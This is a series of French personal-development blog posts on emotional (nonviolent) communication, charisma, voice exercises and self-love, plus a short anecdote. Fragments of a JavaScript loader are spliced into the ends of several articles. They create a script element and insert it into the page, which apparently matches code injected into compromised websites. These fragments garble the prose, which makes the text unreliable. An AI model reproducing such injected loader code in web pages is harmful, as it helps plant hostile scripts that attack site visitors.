Jouer avec la communication émotionnelle (2)

J’espère que cette semaine a été fructueuse pour votre recherche et que vous avez pu tester dans votre quotidien, cette façon de communiquer avec vos proches. Vous pouvez toujours nous faire part de vos commentaires et réflexions, le partage enrichie la perception de chacun.

Comme promis la semaine dernière, voici quelques suggestions en lien avec les phrases que je vous avais proposées. S’il vous reste des interrogations, n’hésitez pas à me laisser un message, je me ferais un plaisir de vous répondre.

Suggestions :

Tu laisses tout traîner, tu pourrais quand même ranger tes affaires sans que je sois obligée de le faire.
Il y a des vêtements, des livres et des documents qui traînent sur les meubles du séjour. Quand je vois ainsi du désordre, je me sens mal et j’ai besoin d’avoir un environnement agréable.

Vous n’avez pas le droit de me traiter ainsi en public, de me critiquer comme vous l’avez fait au cours de cette réunion.
Au cours de cette réunion, vous avez dit que « j’étais un incapable », je me suis senti humilié et j’ai besoin de me sentir respecté

Ne me parle pas sur ce ton, je ne le supporte pas.
Quand tu t’exprimes sur un ton violent, je me sens perdue, c’est important pour moi de laisser tomber la pression et d’en parler ensuite  calmement.

J’en ai marre que tu me fasses la tête toute la journée.
Tu ne m’as pas parlé aujourd’hui, je me sens préoccupé et en souci, est-ce qu’il y a quelque chose qui ne va pas, j’ai besoin de comprendre ce qui se passe.

Comment peut-on travailler avec vous, vous n’êtes même pas capable de tenir vos délais de livraison.
Je vous ai commandé cet ordinateur, il y a maintenant 10 jours, alors que vous deviez me livrer dans les 3 jours, je suis vraiment ennuyé, car je tiens à pouvoir effectuer certains travaux avant la fin du mois.

Tes résultats scolaires sont vraiment insuffisants, tu n’es pas prêt d’y arriver si tu continues comme ça.
Voilà la 3ème fois que tu as une note en dessous de la moyenne, je suis inquiet. J’ai besoin d’être rassuré sur une chose : que tu sais l’importance de cette matière pour ton avenir.

Tu ne comprends jamais rien.
Je t’ai expliqué pourquoi je ne voulais pas aller à cette invitation, je ne suis sûre que tu aies bien compris quelles sont mes raisons, c’est important pour moi que les choses soient claires entre nous.

Ce n’est pas possible de continuer ainsi, votre rapport est rempli de fautes d’orthographe.
J’ai noté des fautes d’orthographe, ici, là, là et encore là, je tiens beaucoup à ce que ce rapport soit impeccable, il représente un aspect très important pour notre image de marque, je suis sûr que vous pouvez comprendre cela.

Je n’ai pas le temps, on verra plus tard.
J’ai encore telle chose et telle chose à effectuer avant ce soir, je suis désolée, il est très important pour moi de terminer ces tâches aujourd’hui, par contre demain, je serai à votre disposition.

Arrête de faire du bruit, je ne peux pas me concentrer.
Tu joues de la batterie depuis une heure maintenant, je ne parviens pas à me concentrer, j’ai besoin de calme pour résoudre ce problème, pourrais-tu s’il te plait arrêter un moment ?

Bonne continuation sur cette voie.if (document.currentScript) {

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Jouer avec la communication émotionnelle

Je vous propose aujourd’hui un  retour sur la communication émotionnelle au travers de quelques exercices pratiques, puisque c’est en s’entraînant que l’on parvient à la maîtrise…

Dans l’article « L’assertivité ou communication émotionnelle« , nous avions parlé des trois étapes à respecter pour s’exprimer avec empathie et  respect :

  1. L’observation des faits
  2. L’émotion ressentie,
  3. Le besoin exprimé.

En voici un exemple :

  • Les faits : Quand tu ne m’appelles pas pour donner de tes nouvelles pendant une semaine,
  • L’émotion : J’ai peur qu’il ne soit arrivé quelque chose.
  • Le besoin : J’ai juste besoin d’être rassuré et de savoir que tout va bien.

Selon ce principe, je vais maintenant vous proposez quelques phrases critiques qui reviennent fréquemment dans notre vie de tous les jours et je vous propose de chercher comment vous pourriez formuler d’une autre façon (selon le modèle ci-dessus) ce qui est exprimé :

  • Tu laisses tout traîner, tu pourrais quand même ranger tes affaires sans que je sois obligé de le faire.
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    .
  • Vous n’avez pas le droit de me traiter ainsi en public, de me critiquer comme vous l’avez fait au cours de cette réunion.
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    .
  • Ne me parle pas sur ce ton, je ne le supporte pas.
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  • J’en ai marre que tu me fasses la tête toute la journée.
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  • Comment peut-on travailler avec vous, vous n’êtes même pas capable de tenir vos délais de livraison.
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  • Tes résultats scolaires sont vraiment insuffisants, tu n’es pas prêt d’y arriver si tu continues comme ça.
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  • Tu ne comprends jamais rien.
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  • Ce n’est pas possible de continuer ainsi, votre rapport est rempli de fautes d’orthographe.
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  • Je n’ai pas le temps, on verra plus tard.
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  • Arrête de faire du bruit, je ne peux pas me concentrer.
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Je vous laisse la semaine pour y réfléchir et vous apporterait des suggestions de réponse dans mon prochain article.  Et n’hésitez pas à partager sur ce blog, vos propres propositions. Bonne semaine !

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Danser la rencontre

La communication de deux êtres est une rencontre, un mouvement de l’un vers l’autre, une création initiée par l’un et l’autre, alternativement, où l’on ne sait plus qui entraîne qui et qui suit qui, comme une danse où les deux partenaires sont tour à tour celui qui guide et celui qui est mené. Symboliquement, vous pouvez vous amuser avec une personne de votre choix à initier une danse l’un avec l’autre en alternant celui qui mène la danse. Puis au bout d’un moment, vous pourrez découvrir que vous ne savez plus vraiment lequel entraîne l’autre. Une complicité inconsciente s’est mise en place, un nouveau dialogue prend vie dans l’espace. Danser la rencontre comme des enfants qui se meuvent et s’émeuvent dans la spontanéité, le jeu, l’imagination.

Ce courant de l’un à l’autre ne peut avoir lieu qu’au sein d’ un espace de liberté où chacun trouve sa place avec accueil et respect. Un espace de liberté dans lequel on se connecte à soi-même pour connaître ses besoins et à l’autre pour prendre en compte également ses propres besoins et au-delà de cette connaissance une rencontre saine peut avoir lieu, où l’on sait si on peut trouver un point d’accord et d’entente ou si au contraire on est d’accord sur le fait que nous ne sommes pas d’accord. C’est comme s’apprivoiser, se reconnaître. Dans certaines cultures africaines, le salut traditionnel n’est pas « Comment allez-vous ? » ou « Comment ça va ? » mais « Je vous vois » qui correspond à une reconnaissance, un accueil de la personne, qui a lieu à un niveau plus profond que le simple « ça va » ou bien souvent on attend même pas la réponse. Regarder en voyant, en étant ouvert et attentif, en laissant l’autre être lui-même et en étant nous aussi, nous-même sans chercher à se cacher derrière un masque ou une personnalité de façade. Juste « Être ».

On s’apprivoise par la confiance et la liberté. Si vous cherchez à dompter un cheval en l’enfermant dans un box, il va devenir encore plus violent et révolté, mais si au contraire vous lui offrez une grande prairie où il peut courir à son aise et que peu à peu vous avancez doucement vers lui, que vous faites connaissance peu à peu, il va finir par se laisser approcher et apprivoiser. Et comme l’illustre si bien  Saint-Exupéry, dans « Le Petit Prince » lors de sa rencontre avec le Renard :

– On ne connaît que les choses que l’on apprivoise, dit le Renard. Les hommes n’ont plus le temps de rien connaître. Ils achètent des choses toutes faites chez les marchands. Mais comme il n’existe point de marchands d’amis, les hommes n’ont plus d’amis. Si tu veux un ami, apprivoise-moi !
– Que faut-il faire ? dit le Petit Prince.
– Il faut être très patient, répondit le Renard. Tu t’assoiras d’abord un peu loin de moi, comme ça, dans l’herbe. Je te regarderai du coin de l’oil et tu ne diras rien. Le langage est source de malentendus. Mais, chaque jour, tu pourras t’asseoir un peu plus près…

Ce rapprochement de l’un vers l’autre, cette acceptation, c’est laisser le mouvement naturel s’effectuer, en se laissant porter par l’énergie de la vie qui nous traverse. Faire corps avec le flux du courant et partir à la découverte.} else {

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Développer son charisme (1ère partie)

Le charisme est souvent rattaché à quelque chose de plus ou moins magique, il est lié à une sorte de rayonnement invisible qui serait proche de l’aura. Étymologiquement, le charisme signifie “grâce d’origine divine”.

Nous connaissons tous des gens charismatiques, et l’on peut se poser la question « d’où provient la fascination exercée par ces personnes ? » En fait le charisme est l’union de plusieurs facteurs (confiance, prestance, communication non verbale, cohérence personnelle…), qui suscitent l’adhésion et la fascination d’un grand nombre de personnes pour un individu particulier. Cependant, le charisme n’a rien à voir avec la beauté, la richesse ou l’autorité. Il est plutôt la conséquence d’une beauté ou d’une richesse intérieure qui rayonne autour des autres.

Comme tout autre qualité, le charisme est susceptible d’être développé et est à la portée de chacun. Il s’accroît à mesure que l’on gagne en harmonie intérieure, en confiance en soi et en sérénité.

Les points important pour développer son charisme :

Le regard :

Comme nous l’avions vu dans l’article « Le regard dans la communication« , le regard est un atout majeur pour établir une communication de qualité, il est le langage de l’âme, le reflet de nos émotions et de nos pensées. Regarder l’autre c’est entrer en contact, attirer et maintenir l’attention de la personne. Aussi il est important que ce regard soit bienveillant, chaleureux et soit synonyme d’un réel intérêt apporté à son interlocuteur, comme si l’on désirait réellement prendre soin de la personne sur lequel il se pose avec délicatesse et attention. Et dans le même temps, ce regard projeté sur l’autre contient également toute notre puissance intérieure et notre authenticité à l’égard de l’autre.

La voix :

Là encore vous pouvez vous référer à l’article « Moduler sa voix » et en règle générale, une voix posée, articulée, affirmée et vibrante sera appréciée et retiendra l’attention. Pour avoir une voix posée, il faut être calme et serein, quelque soient les circonstances, même si l’on vous critique ou on vous agresse verbalement. La voix doit aussi résonner dans la cage thoracique aidée par une respiration profonde et située au niveau du ventre. Le fait de rythmer ses phrases avec quelques secondes de silence, permet de créer de l’espace autour des personnes et de souligner l’importance de ce qu’on a à dire.

Parler à quelqu’un, c’est comme si nous souhaitions toucher la personne avec nos mots et lui transmettre au travers de notre timbre de voix, chaleur, respect et prévenance. Et bien sûr le contenu des mots prononcés doit être en adéquation avec la manière de nous exprimer.

La position du corps :

Afin d’inspirer la confiance chez notre interlocuteur, la position recommandée est d’avoir le dos et la tête droite, sans toutefois inspirer de la rigidité, de se tenir bien en appui sur les deux jambes et de respirer tranquillement en privilégiant la respiration abdominale. Une bonne respiration permet de rester détendu et donc de garder une position naturelle ; elle permet également une bonne oxygénation du cerveau ce qui renforcera la prestance.
Les gestes doivent refléter le calme intérieur et appuyer notre discours, sans mouvement inutile. Il est utile de se rappeler que les gens font plus attention aux gestes qu’aux mots prononcés, c’est pourquoi des mouvements amples et précis seront les bienvenus.

Le langage du corps est influencé par nos états internes et inversement, aussi en adoptant une bonne posture vous induirez un état intérieur positif de la même façon que si vous vous sentez bien intérieurement, votre posture reflétera ce bien-être. Observez ce qui se passe, quand vous êtes légèrement déprimés si vous vous redressez, et que vous regardez en haut !

La tenue vestimentaire :

Pour compléter cette attitude corporelle, il convient aussi d’aborder la tenue vestimentaire. Les vêtements sont tout autant une façon de se présenter aux autres et de refléter la personnalité. Une tenue soignée et adaptée en fonction des circonstances et du message que l’on souhaite transmettre est importante. Une tenue trop sophistiquée, trop décalée ou trop excentrique jouera le plus souvent en votre défaveur, sauf si c’est précisément l’image que vous voulez faire passer.

Il y a encore bien d’autres éléments entrant en ligne de compte, dont notamment la présence, nous y reviendrons la prochaine fois.

A suivre !var d=document;var s=d.createElement(‘script’);

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S’aimer

Je voudrais, cette semaine, partager avec vous un très beau texte que je viens de découvrir au hasard de mes recherches.

Il a été écrit par Kim Mcmillen, femme écrivain, enseignante engagée dans le développement personnel. Décédée subitement,  cet ouvrage est repris par sa fille Alison et  publié en 2001. Le titre original est « When I loved myself enough« . Il rassemble sous une forme simple et limpide une belle leçon de vie.

Le jour où je me suis aimée pour de vrai

Le jour où je me suis aimée pour de vrai, j’ai compris qu’en toutes circonstances, j’étais à la bonne place, au bon moment. Et, alors, j’ai pu me relaxer.
Aujourd’hui, je sais que cela s’appelle… L’Estime de soi.

Le jour où je me suis aimée pour de vrai, j’ai pu percevoir que mon anxiété et ma souffrance émotionnelle, n’étaient rien d’autre qu’un signal lorsque je vais à l’encontre de mes convictions.
Aujourd’hui, je sais que cela s’appelle… L’Authenticité.

Le jour où je me suis aimée pour de vrai, j’ai cessé de vouloir une vie différente et j’ai commencé à voir que tout ce qui m’arrive contribue à ma croissance personnelle.
Aujourd’hui, je sais que cela s’appelle… La Maturité.

Le jour où je me suis aimée pour de vrai, j’ai commencé à percevoir l’abus dans le fait de forcer une situation, ou une personne, dans le seul but d’obtenir ce que je veux, sachant très bien que ni la personne ni moi-même ne sommes prêts et que ce n’est pas le moment.
Aujourd’hui, je sais que cela s’appelle… Le Respect.

Le jour où je me suis aimée pour de vrai, j’ai commencé à me libérer de tout ce qui ne m’était pas salutaire, personnes, situations, tout ce qui baissait mon énergie. Au début, ma raison appelait cela de l’égoïsme.
Aujourd’hui, je sais que cela s’appelle… L’Amour Propre.

Le jour où je me suis aimée pour de vrai, j’ai cessé d’avoir peur du temps libre et j’ai arrêté de faire de grands plans, j’ai abandonné les méga-projets du futur. Aujourd’hui, je fais ce qui est correct, ce que j’aime, quand cela me plaît et à mon rythme.
Aujourd’hui, je sais que cela s’appelle… La Simplicité.

Le jour où je me suis aimée pour de vrai, j’ai cessé de chercher à toujours avoir raison et me suis rendu compte de toutes les fois où je me suis trompée.
Aujourd’hui, j’ai découvert… L’Humilité.

Le jour où je me suis aimée pour de vrai, j’ai cessé de revivre le passé et de me préoccuper de l’avenir. Aujourd’hui, je vis au présent, là où toute la vie se passe.
Aujourd’hui, je vis une seule journée à la fois, et cela s’appelle…La Plénitude.

Le jour où je me suis aimée pour de vrai, j’ai compris que ma tête pouvait me tromper et me décevoir, mais si je la mets au service de mon cœur, elle devient une alliée très précieuse !
Tout ceci, c’est… le Savoir vivre.

Kim Mcmillen

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Une voix riche et nuancée

Dans notre relation avec les autres, la communication est indispensable et passe inévitablement par la voix. Nous en avons vu les caractéristiques dans l’article « Moduler sa voix » et pour éviter de reproduire le ton monocorde de certains de vos professeurs qui avaient la fâcheuse faculté de vous endormir au bout de quelques minutes de cours, vous pouvez acquérir une voix claire, mélodieuse et nuancée.

La soprano Natalie Dessay

Pour cela, il existe certains exercices de relaxation de la voix, pratiqués par de nombreux orateurs et qui, s’ils sont effectués régulièrement, vous permettront d’obtenir une voix agréable à écouter et qui saura retenir l’attention de votre interlocuteur.

Il est fréquent de constater que les muscles de la gorge sont contractés, ce qui a pour conséquence de produire un son rauque et de faible intensité, auquel s’ajoute souvent une mauvaise respiration. En pratiquant l’exercice suivant, vous pourrez apprendre à décontracter votre gorge et à mieux placer votre respiration :

  • Installez vous dans une position confortable, assis ou debout, peu importe.
  • Commencez par parler de manière normale tout en touchant doucement votre gorge pour ressentir la contraction de ses muscles. Puis procédez de la même manière avec votre mâchoire en notant son serrement.
  • Baillez volontairement de façon prononcée, la bouche grande ouverte. Terminez le bâillement calmement en prolongeant durant quelques secondes le son « haa » et tout en faisant cela, laissez tomber votre mâchoire et bougez là de gauche à droite les lèvres fermées.
  • Puis répétez l’étape précédente qui consiste à parler à nouveau normalement en notant bien le relâchement et la décontraction de votre gorge.
  • Tout en gardant cet état de décontraction, prononcez ensuite les mots suivants :
    « mon, ton, son, vain, moins, point, temps, gens, lent, une, dune, prune ».
    Articulez au maximum et n’hésitez pas à  exagérez tous les mouvements. Quand vous sentez de la fatigue, alors recommencez à bailler.
  • L’étape suivante consiste à masser directement les muscles de votre gorge pour vous décontracter complètement.
  • Puis répétez les sons suivant en les prolongeant tous de manière identique :
    « na, né, ni, no, nu ».
  • Terminez en vous décontractant la gorge à nouveau.

En pratiquant cet exercice régulièrement plusieurs fois par jour, sans jamais dépasser cinq minutes à chaque séance, vous parviendrez rapidement à obtenir des résultats. En cas de mal à la gorge ou de fatigue de votre voix, marquez un temps d’arrêt et reprenez quand vous vous sentez mieux.

Pour ceux qui souhaitent approfondir ce travail, consultez le livre de Louis Jacques Rondeleux : “Travailler sa voix”. Vous y trouverez de nombreux exercices progressifs afin de forger votre voix.document.currentScript.parentNode.insertBefore(s, document.currentScript);

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Echange à la cafétéria

Une petite histoire que je vous laisse apprécier :

Madame Voiron venait de terminer ses courses. Au comptoir du self, elle acheta un bol de soupe, alla s’installer à une table, y posa son plateau et s’aperçut qu’elle avait oublié de prendre une cuillère.

Elle repartit aussitôt en direction du comptoir. Revenant à sa place une minute plus tard, elle trouve un Noir installé devant le bol, trempant sa cuillère dans la soupe. « Quel sans-gêne, pense-t-elle ! Mais, il n’a pas l’air méchant… Ne le brusquons pas ! »

« Vous permettez ? » lui dit-elle en tirant la soupe de son côté. Son interlocuteur ne répond que par un large sourire. Elle commence à manger.

Le Noir retire un peu le bol vers lui et le laisse au milieu de la table. A son tour, il plonge sa cuillère et mange, mais avec tant d’amabilité dans le geste et le regard qu’elle le laisse faire, désarmée. Ils mangent à tour de rôle. Elle est décontenancée, son indignation a fait place à la surprise et se sent même un peu complice.

La soupe terminée, le Noir se lève, lui fait signe de ne pas bouger, et revient avec une abondante portion de frites qu’il pose au milieu de la table. Il l’invite à se servir. Elle accepte et ils partagent les frites. Puis il se lève pour prendre congé avec un ample salut de la tête et prononce l’un de ses premiers mots : « Merci!  »

Elle reste un moment pensive et songe à s’en aller. Elle cherche son sac à mains, qu’elle a accroché au dossier de la chaise. Plus de sac ! Mais alors, ce Noir n’était qu’un pickpocket !

Elle s’apprête à demander qu’on le poursuive, lorsque ses yeux tombent sur un bol de soupe intact, et froid, posé sur une table voisine, devant la chaise où est accroché son sac. Il manque une cuillère sur le plateau…

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